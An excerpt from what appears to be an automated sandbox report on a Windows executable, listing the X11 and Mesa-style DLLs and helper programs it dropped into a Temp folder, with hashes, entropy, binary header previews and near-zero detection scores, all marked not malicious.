SHA-256:	10479A6F2183A37747D22C138CA369760A6237004B36AD1C3CBF8B7B8D96A59F
SHA-512:	AD3BEA8256F3D1FDC41786D150DE4516D3794F0BF0511111C4F28591D50BAD081C23B29324667A743F538F7E57D755AA348877DCC587A07743A7F89549A9B52D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........4...............&...4..d............&...@..........................`8......M5....... .......................3.......6..:....7.hh............4.."...p7...............................6.......................6..............................text...(.&.......&.................`.P`.data...TQ....&..R....&.............@.p..rdata........'.......&.............@.p@/4.......<......>.................@.0@.bss.....c....0.......................p..edata........3......./.............@.0@.idata...:....6..<....2.............@.0..CRT....4.....6......43.............@.0..tls.... .....6......63.............@.0..rsrc...hh....7..j...83.............@.0..reloc.......p7.......3.............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\default.xkm

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Compiled XKB Keymap: lsb, version 15
Category:	dropped
Size (bytes):	11024
Entropy (8bit):	4.757819671685395
Encrypted:	false
SSDEEP:	192:JD29sY96vQW5Ff5aSLusnVcqoRceCQ1+JdDx0s2T:JD26vTFfcS62wRKMJ
MD5:	DC7C38FAA9B2FFD642F451957A799997
SHA1:	F1841B83B346A682B57A4B8EE066315E976134DB
SHA-256:	5AF454AF48C65B49998A7D0EBDB051924F819F375B7952DEC7E79872553CD033
SHA-512:	D908598B3744CBBCF184D2A715F5D52B0F2412E563AE7F9AB648953DF2C425D72B74463A2C544BC06517D864BC4976BCFA856324EC51D0F26217A12757D51E47
Malicious:	false
Preview:	.mkx..............D.......................l.......@........!......."......D.......NumLock.....Alt.....LevelThree..LAlt....RAlt....RControl....LControl....ScrollLock..LevelFive...AltGr...Meta....Super...Hyper...........xfree86+aliases(qwerty).....?.MDSWESC.AE01AE02AE03AE04AE05AE06AE07AE08AE09AE10AE11AE12BKSPTAB.AD01AD02AD03AD04AD05AD06AD07AD08AD09AD10AD11AD12RTRNLCTLAC01AC02AC03AC04AC05AC06AC07AC08AC09AC10AC11TLDELFSHBKSLAB01AB02AB03AB04AB05AB06AB07AB08AB09AB10RTSHKPMULALTSPCECAPSFK01FK02FK03FK04FK05FK06FK07FK08FK09FK10NMLKSCLKKP7.KP8.KP9.KPSUKP4.KP5.KP6.KPADKP1.KP2.KP3.KP0.KPDLSYRQII5DLSGTFK11FK12HOMEUP..PGUPLEFTII65RGHTEND.DOWNPGDNINS.DELEKPENRCTLPAUSPRSCKPDVRALTBRK.LWINRWINMENUFK13FK14FK15FK16FK17KPDCLVL3ALT.KPEQSUPRHYPRXFERI02.NFERI04.AE13I06.I07.I08.I09.I0A.I0B.I0C.I0D.I0E.I0F.I10.I11.I12.I13.I14.I15.I16.I17.I18.I19.I1A.I1B.METAK59.I1E.I1F.I20.I21.I22.I23.I24.I25.I26.I27.I28.I29.K5A.I2B.I2C.I2D.I2E.I2F.I30.I31.I32.I33.I34.K5B.K5D.K5E.K5F.I39.I3A.I3B.I3C.K62.K63.K64.K65.K66.I42.I43.

C:\Users\user\AppData\Local\Temp\Mxt242\bin\dwm_w32.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.908825874883668
Encrypted:	false
SSDEEP:	768:aokfKeTNUPuijt6NyMn7OCHkTji2tuegJK5MXn3JTpozoD:JiUmGtwH7dJ8cozo
MD5:	2C8F2412669CFAC26B0981A1415283FF
SHA1:	6D52B01EFCC8488E00E2847F377523F09FD3324B
SHA-256:	B66F344A07A86154F9CEE83369B566F88C1419B724E0ECB63E3CC0A43169DEA3
SHA-512:	85B891BECB9C0DFE616CCECA2088A218CBBF3B56A8C10AA6F477E6D3C5D5B25653D79A9C5A70C6AA1D74EC6435310481EAFCEB65476CEAEF7FFB3C3F947CD1DA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................Z...................p....@..................................X........ .................................4...................................................................................h................................text....Y.......Z..................`.P`.data...p....p.......^..............@.p..rdata...............`..............@.p@.eh_fram<............l..............@.0@.bss..................................p..idata..4...........................@.0..CRT....4...........................@.0..tls.... ...........................@.0.................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\jwm.exe

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	220686
Entropy (8bit):	6.340277289448987
Encrypted:	false
SSDEEP:	3072:NwVDR2mmv8ie/Sx3/euPDyP1iurSKHDqeZMhh8bE42i:NaNKFYSNzDcrSKHDqeZMhhG5f
MD5:	9130F45BC81E56CF6B7BBD2A002832B1
SHA1:	5C8BFFA512F14C5FB6F87EFDCB76BEB3DDC521B6
SHA-256:	44B68652AF00910EC4D4844EA42C1847E35BEF66D99C655298C90D690C857071
SHA-512:	5174D09922A826AD68FBAEA75CE14CC90F104D27BAD69D847318D1EA63AE25AF09B441BDF9174C8AD483891C1A5B40B46C73392AAAC19E5D4942AAF92C92EE5B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....4.4.^...............P...Z...............`....@.................................H2........ ......................`.......p..................................@#...................................................s..8............................text...TO.......P..................`.P`.data...t....`.......T..............@.0..rdata...J...p...L...V..............@.p@/4......Tr.......t..................@.0@.bss.........@........................p..edata.......`......................@.0@.idata.......p......................@.0..CRT....4............0..............@.0..tls.... ............2..............@.0..rsrc................4..............@.0..reloc..@#.......$...:..............@.0B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libGL-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	892430
Entropy (8bit):	6.337894464528885
Encrypted:	false
SSDEEP:	24576:g+OAmeJjbG8eDUEwBsl9AKccjxfQvOKtvdkgGM2ry5JjQ+XAF:g+OoJjbVSCM+wF
MD5:	C91B4B54E4BB19530DF6AFFDD0E42F9B
SHA1:	181650510E1115F5339F95255F4F35AEF42D3A3F
SHA-256:	933774CE5E2DCCF7D42AF6B3392857F5041EFAD3AAB69650D4AD7E20175E5FB4
SHA-512:	B712AFB2A53E8B48789FA12F94E43F17002F6347DA2A75EF5BC585B1C7CB0218E808485CA5E7409D62EE28453464AC6E4DA4180D68731733F60804AFD6EE8ECA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.....T......."...........p.....m.........................0......u......... ..............................p...................................q..................................................,t...............................text...$R.......T..................`.P`.data... ....p.......X..............@.p..rdata..(............^..............@.p@/4..................................@.0@.bss..... ............................p..edata...............p..............@.0@.idata.......p......................@.0..CRT....,............(..............@.0..tls.... ............*..............@.0..reloc...q.......r...,..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libICE-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	84494
Entropy (8bit):	6.273521373812875
Encrypted:	false
SSDEEP:	1536:LGyewcJ0bjvrkjIkZ9HUUfkSl5TKYMPX3vciUeWAgnABb8GrPuKTVtI3fTP8Y+5P:LrcJ0bjvYjt7HUUfkSltKYYX30iUeWAH
MD5:	26B0E06B44558D5B3349A45671D3862E
SHA1:	EF569964ADE5C7695FA57E8ED65220BF95ADBA5B
SHA-256:	87FAA175E52FF55BC85A1E6B7739DE6602AC2AB781E9916403BAC6661C31BC8F
SHA-512:	4853A3E4AD68AD381390A0B14E061C57D44C7625FA4B6580C5B5F1258C4FF37705D1C3D9A2EC060AF78E4574A15172012EAE0FCFEB034ACC9BA5172A5C793C2E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.J.........#.........F...$.................m.................................>........ .................................h...............................d....................................................................................text...............................`.P`.data...p...........................@.p..rdata... ......."..................@.`@/4.......+... ...,..................@.0@.bss....0"...P........................p..edata..............."..............@.0@.idata..h............2..............@.0..CRT....,............>..............@.0..tls.... ............@..............@.0..reloc..d............B..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libSM-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	37390
Entropy (8bit):	5.960473403265231
Encrypted:	false
SSDEEP:	384:cPEB1SygW1SwSy5/Qi7ArMRZOboyXauWBLRyxGyFusnSWNFomdJQgk7XDQIsUHAy:dMy54i7AyGoyXZW6FY6SwomwXD3Ay
MD5:	CDBDD152BDD9950E3B5D67D279D1A277
SHA1:	3ED5A24F96772C89A4B2283A8ADDB786F293FBFA
SHA-256:	75D36494F375E28AC07760AC82AF48C1D6C1685626BD3CFCA23FA6DCA3C8BF53
SHA-512:	F0963E5EAB3F2745B1903E653F02D707ED66345EA6B43B89400400B684198128EA5F14A6A22C56995B70D42D60F517855830893B2DEDB3712B7F216C4D884D98
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.....T...................p.....m................................o0........ .........................C.......l...............................0.......................................................@............................text...tS.......T..................`.P`.data...$....p.......X..............@.0..rdata...............Z..............@.`@/4......`............f..............@.0@.bss....0.............................p..edata..C............x..............@.0@.idata..l............~..............@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..0...........................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1295374
Entropy (8bit):	7.02053670302835
Encrypted:	false
SSDEEP:	24576:uA7S97BMxq0REUm75horlhVwwf7JtdVrd:ud9VMxq0REUm7IrlhVd7d
MD5:	3CD9AF46753F2A618D15157372D0D2BC
SHA1:	F2A1781B1A6D33338DB4D9725B28F15D8A410903
SHA-256:	497471497886F18CA16F7FACAB7D76DC9BFADD69DEB9C6E4EA9BDC0869A15628
SHA-512:	925097106554F6EAC698BA933E32FB82C1405C7CCFE284B27F1558E9AB46139506B1E981721AEAFAF2E0D595DBDFCE3587C4056C6920FDFFB0B2F2BDBDCDB38D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......\...........#..............................7l.........................0................ ......................0..........p......................................................................................t............................text...D...........................`.P`.data...d&.......(..................@.p..rdata..............................@.p@/4......H`.......b..................@.0@.bss....<.... ........................p..edata.......0......................@.0@.idata..p...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..........*..................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-xcb-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	4.994974973999608
Encrypted:	false
SSDEEP:	192:KM9aToXxQSS4Fk+SVzrw7w0f67JkeWBCemWDThsuaMCS/Ejf1vSqw/qjYZ:R9ioXxQSS6k+YE7w0CJkdBCeMS/ERUWI
MD5:	2B781F4138E302CDE8E6E488C1899A86
SHA1:	B85BC2641FAE42A27A159D3BD74F44B3565EB434
SHA-256:	6A3EBEB389B54015A447B11BCF07348250B530A8CE142BF4E99FE8F1C030CAA3
SHA-512:	00A7CDB52FF396552CDF9F14F30CD2E5C3A0713C69B18ECEA9AEB96049CBA1EAA47022C23157FB5B175C8B3968E1D85D89F72876BA5CFCD97E77492CE2EB03C1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0....Ll.......................................... ......................p..s.......................................$....................................................................................text...t...........................`.P`.data........0......................@.0..rdata.......@......................@.0@/4......L....P......."..............@.0@.bss....(....`........................p..edata..s....p.......,..............@.0@.idata..............................@.0..CRT....,............4..............@.0..tls.... ............6..............@.0..reloc..$............8..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXau-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	20494
Entropy (8bit):	5.5077267317487495
Encrypted:	false
SSDEEP:	192:vdBaTJcGAV5S55Nv8ekSoifItD33VBBmBJI3b5Ud5kbQbDTHlNspsorvgAFa2jf7:lBwcGAV5S55ZkBpTVTuI3dUd5GFoCJg+
MD5:	B6F0655BED934503621FCF94BA449A19
SHA1:	F0A5D9EEFFF5F3BCD2E23B9DB748C50CFFC1C6E8
SHA-256:	0DA1F856D92D6B95F10ED8C3F629CD15468C906DE9352FB4AE629139D1412EED
SHA-512:	77A10AE1748E5D76288C59933F3F41D4DC7A690B1F2BC9BFF0B761F9F2C5331F868DC0259FFE4C4672E1806C33F3F9D0FE0A8B09B10E06333D2590F623C5B284
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.P.........#....."...L...............@.....m.......................................... .................................X...............................\|...................................................8................................text....!......."..................`.P`.data... ....@.......&..............@.0..rdata.......P.......(..............@.0@/4......d....`.......0..............@.0@.bss....(....p........................p..edata...............>..............@.0@.idata..X............@..............@.0..CRT....,............H..............@.0..tls.... ............J..............@.0..reloc..\|............L..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXdmcp-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	28686
Entropy (8bit):	5.673992075521211
Encrypted:	false
SSDEEP:	384:sEZJxxKcB6SOd08J0DBljbG4H80iIOitbr0iIOi1Nk6qTdOoTcFbf3IU2xRov+h2:sEYWnJH80Qi0Q+ZOcFDR27e
MD5:	7D4F4D3BC6AB6C3EA2097A7ECD018728
SHA1:	2434FBAD089AC85EDA43C0B0E911AB437B4DFE63
SHA-256:	7705851BA047A8154402ACA92621B60BE0E0E9D9B52B19BF8BE540305BD53DBA
SHA-512:	F9B64CBCD7C7C7B4E942C3DA74FB280762D038F974FC23D1E0431B15787AEFC87464CDA121AA8FCCF499AF46E345DD65AA5FB5CFEE1CB45DBA6E5DD79B01A1D8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.p.........#.....,...l...............@.....m.................................}........ .....................................................................................................................8................................text....+.......,..................`.P`.data........@.......0..............@.0..rdata..h....P.......2..............@.p@/4...........p.......J..............@.0@.bss....(.............................p..edata...............\..............@.0@.idata...............b..............@.0..CRT....,............h..............@.0..tls.... ............j..............@.0..reloc...............l..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXext-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	72206
Entropy (8bit):	6.123609874831383
Encrypted:	false
SSDEEP:	768:PuaGr0c7vFXB4tMxuttwDzC7iK+zhCYgwAflM1AhAFyfZMuFUsSn78P:PaBhXmtRttwvCRCbA36FSZyK
MD5:	4BF9885DFF08BE26C5A7AA73A005A26D
SHA1:	02C61B20248892127A2D50A0D2CDFFF4E7909E8B
SHA-256:	458F0825F25B10F4FEFA6255EA473F3CA8416CC0A10DA73326D84077F29293F8
SHA-512:	4BC488629070D3FE8A2882B1C4996B3741CB22DE417C7E3B07724839D62793335D8D3E7C350B80944EFCDEE1DBA1346DD970E9922E1A0620B6FD02A45173C180
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#...............................m.................................c........ ......................0.......@...............................p..d............................`.......................A..P............................text...d...........................`.P`.data...\...........................@.`..rdata..............................@.0@/4.......5.......6..................@.0@.bss......... ........................p..edata.......0......................@.0@.idata.......@......................@.0..CRT....,....P......................@.0..tls.... ....`......................@.0..reloc..d....p......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXfont-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	178190
Entropy (8bit):	6.4963825242656235
Encrypted:	false
SSDEEP:	3072:08gZ7rTGhL24YGH8++RYcqnkRwXFvsm33UbZKOlZB6ak0iYNvNc:NG7sYvmUbhBhvS
MD5:	6A47427B646F556621917A93B9DBABB1
SHA1:	47EBF94EB7B00E920C00D7B5034388F796237D2B
SHA-256:	B6553159C0C33EFD882FC030ADD02B2622E9E49F8F0574A1F82D6BCA4F60D99C
SHA-512:	9670A62AF9C1C34FEF1DC563D8F6A44FDAF276246D8154D626852BE2B1B9F4119F0468B0ACC7718C88FECA48B9DFBD9E9F0D9372DAD72C0C0EB63F5CE6119730
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Q.U...........#...............................m.........................0......w......... .............................................................. ..........................................................x............................text...4...........................`.P`.data...4...........................@.p..rdata..\P.......R..................@.p@/4......@7...p...8...N..............@.0@.bss....@.............................p..edata..............................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc....... ......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmu-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	101902
Entropy (8bit):	6.2765108310651305
Encrypted:	false
SSDEEP:	1536:Mqzs5I5KD+fcL5JIfPXyWKSTgO2MrKSaiN/XMrrnlMqI448RSoW2AhPzFKuuvLL:Rs5IUD7sfvyWKDTlSqrrZ4wtGzFKuU
MD5:	50C2F9CF1077B59843E13E127964C943
SHA1:	C0ED8B5BAEDB92D5C28716B0C85F09A19CE9E81A
SHA-256:	E1FAC42E5AB62C3BCA76AA3440394727E1D78367BFA7005722ADADFD112855B6
SHA-512:	1425A1EE9D2BC428EC6668F57C3CB63DDF1DF7A1917ACEB7C893F875B3A979F63948B2F956A5F7615B3AF15A8ACF564EBE1FC9B530F0220D5F2233DF0D33C0C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#...............................m.......................................... .........................?.......,...................................................................................X................................text...............................`.P`.data...............................@.p..rdata...#... ...$..................@.p@/4.......4...P...6..."..............@.0@.bss....(.............................p..edata..?............X..............@.0@.idata..,............j..............@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmuu-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	22030
Entropy (8bit):	5.6049379867568065
Encrypted:	false
SSDEEP:	384:DCvpUi963ISrNjEmuSrik8kX8BdwNq9P4qUP1Em:ALmZr52dwIm
MD5:	FC8788C68B2153C89EC728A06DC8F568
SHA1:	DC814169EBF1B22ECEFE46854C080C78794FCD7D
SHA-256:	119B8D57F6AAC50C6E2B088E8D732D59E9E3A3B2DF609DA74FFEF7766041B745
SHA-512:	5BCDCECD23777BEC6FC5E21E942A369EEA23E67159A05CCF33CE99E98331C3AC676DA5C6A8D90F476089FF0D9084F2DE808E6ECC59F4EF2099A9712B76C0813C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....8.9.V.........#.....$...R...............@.....m.......................................... .................................................................D...................................................X................................text...D".......$..................`.P`.data........@.......(..............@.0..rdata..,....P.......*..............@.p@/4......X....`.......8..............@.0@.bss....(....p........................p..edata...............D..............@.0@.idata...............F..............@.0..CRT....,............N..............@.0..tls.... ............P..............@.0..reloc..D............R..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXt-6.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	345102
Entropy (8bit):	6.3988584718565304
Encrypted:	false
SSDEEP:	6144:0FAfQQ/GyuEuU+jAWHVbSoyfX4a0zxQn12xfRKX:nfXGyP+jAWHNafX10ly1KKX
MD5:	64F3A85585D05537EFE179362FCC3714
SHA1:	90E5447076999BB59CA18085E321D3C29A580BA8
SHA-256:	9E1D34395BD7802EC5B1EB213EA49A6C4DA6CDD3F96DCE91EA6340F87064746A
SHA-512:	A9CF5FE559719CC6A26CF4090DF2A68129BEF0E71F9A48A2755B6C0C082D6238988FBA4EADB0711814C9E1CF903A42BD4288BADFFA4ACF8CCDC49EAF8B94C749
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.D.........#.........@.....................m................................s......... ...................... ...5...`..................................D#..................................................,d...............................text...T...........................`.P`.data...`%.......&..................@.p..rdata..\|f.......h..................@.p@/4..........@......................@.0@.bss..................................p..edata...5... ...6..................@.0@.idata.......`......................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc..D#.......$... ..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libdl.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	17422
Entropy (8bit):	5.468525189180701
Encrypted:	false
SSDEEP:	192:9oqX4Maf/9pG1cBQS6YEn8+K8fZkkLGM2u5YiXNDTPsd9/9ZidfuOiSLU8:9XX4My/9pG1cBQS6nb6kqu28wOY8
MD5:	ED925BDAB51F49813686B62EB82FB4A4
SHA1:	BC7C742B92A5B47089E0B400A8A80BB217E775FE
SHA-256:	E1646C7778C24407A17881908037A49ECFCB5A980D155212D544302653A3EF62
SHA-512:	5BE99A6B0E2091FE37FF50D5A9C4FA789DB27B5BA108801E4D18E99AE584AE1BC91BA3339916DFF8A323155815E660F43CA54FFCC7C14C1E3F90600AEDB54BD8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.D.........#.........@...............0.....n.................................j........ ......................p..w...........................................................................................(................................text...T...........................`.P`.data...$....0....... ..............@.0..rdata..0....@......."..............@.0@/4...........P.......(..............@.0@.bss.........`........................p..edata..w....p.......4..............@.0@.idata...............6..............@.0..CRT....,............<..............@.0..tls.... ............>..............@.0..reloc...............@..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libfontenc-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	32270
Entropy (8bit):	5.6230541349199825
Encrypted:	false
SSDEEP:	384:aEjhIvgCvrSqBncR039TlSk2SbeQyjWvlZB/v9cv7Fgz9HTYs/fvr0vjHQ1u/vJh:YBncR03ak2Sbe4SWRHs0vQvjHQ1ufwg
MD5:	0886859EB6BC88C13797AE668FA74998
SHA1:	D00C0F848174895000D5D1FC40E35CF6F9C56E18
SHA-256:	CACC9C998D90264E088844FFD7A8A9439DE706CDF17D6BBFDE14C0609EF96AA7
SHA-512:	7CFFF08756C6FB294D6225E28944590638B43A7131667B1DE13A150AD18CF1DB155A93E80053D234824DD452B00AA98576BE58FD870E04451C2259736680C30C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.~.........#.....:...z...............P.....n................................-l........ .................................`...............................$...................................................H................................text....9.......:..................`.P`.data........P.......>..............@.p..rdata..4....`.......H..............@.p@/4......t............Z..............@.0@.bss....h.............................p..edata...............j..............@.0@.idata..`............l..............@.0..CRT....,............t..............@.0..tls.... ............v..............@.0..reloc..$............x..............@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libgcc_s_dw2-1.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	117262
Entropy (8bit):	6.3619675162521645
Encrypted:	false
SSDEEP:	1536:YkTNSPvyLV9dUT+PspQ+2Q4p2VtjByBzEgezt2f38hD99/E3oiHjyYIx7s:YZilU6PspQ+2zsBy2q8hD83oiHjyYA7s
MD5:	D35376C0D447108B2F9D64D4C40014F8
SHA1:	C68129E8BF6CDAAA318C5AAD8974EFBC2B7CE39A
SHA-256:	C7544E1F9927AFDF6E8CD7063020B572E60FE8F00AF39227EB831D331DF38225
SHA-512:	C46AF0BBD3BCA6E12125750A5B1CA4F17F85F84729B1C1C01EE76DE3704BCDB090212202CF449458833F8EE92E9A46C8758CBD069747DE534E2984DCCBE9F24D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU...........#.....V...................p.....m.........................0................ ........................._.................................... .......................................................................................text....T.......V..................`.P`.data........p.......Z..............@.0..rdata........... ...\..............@.p@/4......./.......0...\|..............@.0@.bss....x.............................p..edata.._...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..reloc....... ......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libglapi-0.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	205838
Entropy (8bit):	5.967692870448838
Encrypted:	false
SSDEEP:	3072:XEuzWU+gImW1gZCnZslqf53P3fMN0PvNPbbkl/v9xRvt3MEsF5HBx0JknvjrFVfE:gP3qI7tuUb9I
MD5:	04E73806D86A77CA6BBFE41BE8DB5494
SHA1:	C31346161EE9A9B40E7E2FC826E6C374778AF7A7
SHA-256:	284701380F33A30B25E8EB9822E7F47179238E91D08BD3FB5A117145DE7E0D8D
SHA-512:	452B95557BFCB638DAA07EA427CD140830839B6AD950D8E282FABEC78CEB7476558AB7996FCB526371C6B143028EBF288C0579F37011B3BE5FBB92D68D452042
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....zU.$.........#.....X... ...............p.....m................................ZO........ ......................P.......`..$...................................................................................da...............................text....V.......X..................`.P`.data...x....p.......\..............@.0..rdata..T............^..............@.p@/4..................P..............@.0@.bss....4....0........................p..edata.......P......................@.0@.idata..$....`......................@.0..CRT....,....p......................@.0..tls.... ...........................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mxt242\bin\libnativeGLthunk.dll

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	455182
Entropy (8bit):	6.360022127414608
Encrypted:	false
SSDEEP:	6144:CFCat8iCMrnz1eH0sAImrXnFNsi1jWAGV5rIhT:CVnsurXZT
MD5:	0B14D0F9D8E917395EE43CA0A48DAD76
SHA1:	B719C3E3D327467899F87F14000D0731632D65C2
SHA-256:	BC8CB90C6D60DE04431CF2BA2DE1295B66F706EE1FFB915DF72E1C2D0A69CC22
SHA-512:	E15F84138ADC5684A79BCFBA8D68A96F87A09807DFA60190A0D3BFEB02492F7CBF4AC5EBF78FB7B55FD4E54B28711C7E6347AE2CADB8C185FCE50D02BFBC2DC7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
